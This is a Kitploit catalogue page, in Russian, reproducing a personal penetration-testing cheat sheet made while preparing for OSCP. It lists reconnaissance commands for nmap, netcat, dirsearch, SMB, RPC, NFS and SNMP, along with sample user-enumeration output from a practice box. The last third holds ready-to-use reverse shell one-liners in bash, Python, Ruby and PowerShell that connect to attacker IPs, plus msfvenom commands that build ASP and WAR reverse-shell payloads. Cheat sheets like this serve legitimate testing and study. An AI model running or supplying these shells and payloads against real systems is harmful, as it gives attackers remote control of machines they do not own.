Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
Инструменты/GitHubGitHub/d0n601/pentest-cheat-sheet
Взлом паролейПовышение привилегийРазведкаЭксплуатацияЛатеральное перемещениеЭксплуатация веб-приложенийТестирование на ПроникновениеОбучение и ОбразованиеRed TeamingПодобранные Ресурсы
GitHub
389181 год назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
d0n601/pentest-cheat-sheet

Pentest-Cheat-Sheet

В сети много шпаргалок, но эта — моя.

Репозиторий

Шпаргалка по пентесту

В интернете много шпаргалок, но это моя. Сейчас она ещё в процессе разработки и существует как черновик, который иногда обновляется часто. Я начал её, когда готовился к OSCP, но теперь она развивается и включает больше практических вещей, которые нужны мне как red teamer. Новые дополнения, скорее всего, не пригодятся на экзамене и могут даже содержать запрещённые инструменты.

Разведка

Очень неполный раздел...

Локальный Linux

find / -name flag.txt для поиска файлов по имени.

grep -R "flag40" / -s -n искать строку в файлах, рекурсивно обходя корневой каталог, без вывода ошибок.

Локальный Windows

dir /s flag.txt для поиска файлов с именем flag.txt в текущем каталоге и подкаталогах.

Active Directory

Полезный инструмент -> wadcoms.github.io

Сканирование портов

nmap

nmap -sn 10.11.1.0/24 сетевая разведка для обнаружения хостов.

  • nmap -sn 10.11.1.0/24 -oG - | awk '/Up$/{print $2}' > list_ips.txt просканировать сеть на доступные IP и сохранить IP-адреса в список.

nmap -A 10.10.10.10 для быстрого сканирования распространённых TCP-портов с определением ОС и сервисов.

nmap -A 10.10.10.10 -p- для сканирования всех TCP-портов с определением ОС и сервисов.

nmap -A -sU 10.10.10.10 для сканирования всех UDP-портов с определением ОС и сервисов.

sudo nmap -O -A -sV 10.10.10.10 для сканирования всех распространённых TCP-портов, определения ОС, запуска скриптов и снятия баннеров.

Через Proxychains

proxychains nmap -Pn -sT 10.10.10.10 -v потому что ICMP/UDP-сканирование не работает.

Netcat

Флаг -w задаёт таймаут в секундах, а флаг -z — отправку нулевых данных (для сканирования).

nc -nvv -w 1 -z 10.11.1.220 3388-3390 TCP-сканирование портов 3388-3390.

nc -nv -u -z -w 1 10.11.1.115 160-162 UDP-сканирование портов 160-162.

Перебор каталогов

Gobuster

  • Пример перебора каталогов gobuster dir -u http://10.1.1.27 -w /usr/share/wordlists/dirb/big.txt.

Мне также нравится dirsearch.

Полезные словари в Kali

kali@kali:~/Tools/dirsearch$ ls /usr/share/wordlists
dirb  dirbuster  fasttrack.txt  fern-wifi  metasploit  nmap.lst  rockyou.txt  rockyou.txt.gz  wfuzz
kali@kali:~/Tools/dirsearch$ ls /usr/share/seclists
Discovery  Fuzzing  IOCs  Miscellaneous  Passwords  Pattern-Matching  Payloads  README.md  Usernames  Web-Shells
kali@kali:~/Tools/dirsearch$ 

python3 dirsearch.py -u http://10.11.1.44 -t 100 -e php,gzip,tar,txt -w /usr/share/wordlists/dirb/big.txt -r перебор каталогов со словарём big.txt из dirb; скопируйте/вставьте и укажите IP/URL и расширения.

python3 dirsearch.py -u http://10.11.1.44 -t 100 -e php,gzip,tar,txt -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -r перебор каталогов со списком каталогов из dirbuster; скопируйте/вставьте и укажите IP/URL и расширения.

python3 dirsearch.py -u http://10.11.1.71 -t 100 -e cgi -w /usr/share/seclists/Discovery/Web-Content/CGIs.txt -r, перебор CGI-скриптов.

Перечисление общих папок (rsync)

Модуль rsync — это, по сути, общий каталог. Эти модули могут быть опционально защищены паролем. Эта команда выводит список доступных модулей и, опционально, определяет, требует ли модуль пароль для доступа**:**:

nmap -sV --script "rsync-list-modules" -p <PORT> <IP>

Перечисление SMB

Вручную

smbclient -L 10.11.1.146 для вывода списка доступных общих ресурсов

smbclient //10.11.1.146/IPC$ для входа в этот общий ресурс. Если не получается, попробуйте через sudo... sudo smbclient //10.11.1.146/IPC$

Автоматически

enum4linux 10.11.1.146 -a -o использовать enum4linux для автоматизации перечисления SMB.

Перечисление RPC

Если удаётся подключиться с Null-логином -> rpcclient -U '' -N forest.htb.

rpcclient $> querydomaininfo
command not found: querydomaininfo
rpcclient $> querydominfo
Domain:         HTB
Server:
Comment:
Total Users:    105
Total Groups:   0
Total Aliases:  0
Sequence No:    1
Force Logoff:   -1
Domain Server State:    0x1
Server Role:    ROLE_DOMAIN_PDC
Unknown 3:      0x1
rpcclient $> enumdomusers
user:[Administrator] rid:[0x1f4]
user:[Guest] rid:[0x1f5]
user:[krbtgt] rid:[0x1f6]
user:[DefaultAccount] rid:[0x1f7]
user:[$331000-VK4ADACQNUCA] rid:[0x463]
user:[SM_2c8eef0a09b545acb] rid:[0x464]
user:[SM_ca8c2ed5bdab4dc9b] rid:[0x465]
user:[SM_75a538d3025e4db9a] rid:[0x466]
user:[SM_681f53d4942840e18] rid:[0x467]
user:[SM_1b41c9286325456bb] rid:[0x468]
user:[SM_9b69f1b9d2cc45549] rid:[0x469]
user:[SM_7c96b981967141ebb] rid:[0x46a]
user:[SM_c75ee099d0a64c91b] rid:[0x46b]
user:[SM_1ffab36a2f5f479cb] rid:[0x46c]
user:[HealthMailboxc3d7722] rid:[0x46e]
user:[HealthMailboxfc9daad] rid:[0x46f]
user:[HealthMailboxc0a90c9] rid:[0x470]
user:[HealthMailbox670628e] rid:[0x471]
user:[HealthMailbox968e74d] rid:[0x472]
user:[HealthMailbox6ded678] rid:[0x473]
user:[HealthMailbox83d6781] rid:[0x474]
user:[HealthMailboxfd87238] rid:[0x475]
user:[HealthMailboxb01ac64] rid:[0x476]
user:[HealthMailbox7108a4e] rid:[0x477]
user:[HealthMailbox0659cc1] rid:[0x478]
user:[sebastien] rid:[0x479]
user:[lucinda] rid:[0x47a]
user:[svc-alfresco] rid:[0x47b]
user:[andy] rid:[0x47e]
user:[mark] rid:[0x47f]
user:[santi] rid:[0x480]
rpcclient $> 

Хорошая статья
Ещё одна хорошая

NFS

showmount -e 10.10.10.10 чтобы увидеть доступные монтирования mount -t nfs 10.10.10.10:/ /tmp -o nolock чтобы смонтировать корень или любую другую папку.

Перечисление SNMP

onesixtyone -c community -i ips сканировать целевую сеть для выявления SNMP-серверов, где community и ips — списки; community = (public, private, manager).

snmp-check 10.11.1.227 делает всё то же, что и ниже, но лучше и красиво форматирует результат :)

snmpwalk -c public -v1 -t 10 10.11.1.115 перечислить всё дерево MIB.

snmpwalk -c public -v1 10.11.1.14 1.3.6.1.4.1.77.1.2.25 перечислить пользователей Windows.

snmpwalk -c public -v1 10.11.1.73 1.3.6.1.2.1.25.4.2.1.2 перечислить запущенные процессы Windows.

snmpwalk -c public -v1 10.11.1.14 1.3.6.1.2.1.6.13.1.3 перечислить открытые TCP-порты.

snmpwalk -c public -v1 10.11.1.50 1.3.6.1.2.1.25.6.3.1.2 перечислить установленное ПО.

Обратные шеллы

Bash

/bin/bash -i >& /dev/tcp/192.168.119.137/1337 0>&1

Python

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);

Ruby

ruby -rsocket -e'f=TCPSocket.open("10.10.14.3",8081).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

PowerShell

powershell -c "$client = New-Object System.Net.Sockets.TCPClient('192.168.119.137',1337);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

Слушатели

Netat

nc -lvp 4444 слушать (ловить) обратный шелл с помощью Netcat на порту 4444

Запуск TTY Shell

python -c 'import pty; pty.spawn("/bin/bash")' или python3 -c 'import pty; pty.spawn("/bin/bash")'

MSFVenom

ASP

msfvenom -p windows/shell_reverse_tcp LHOST=192.168.119.137 LPORT=4444 -f asp > shell.asp

WAR

msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.119.137 LPORT=4444 -f war > shell.war

Скачать инструмент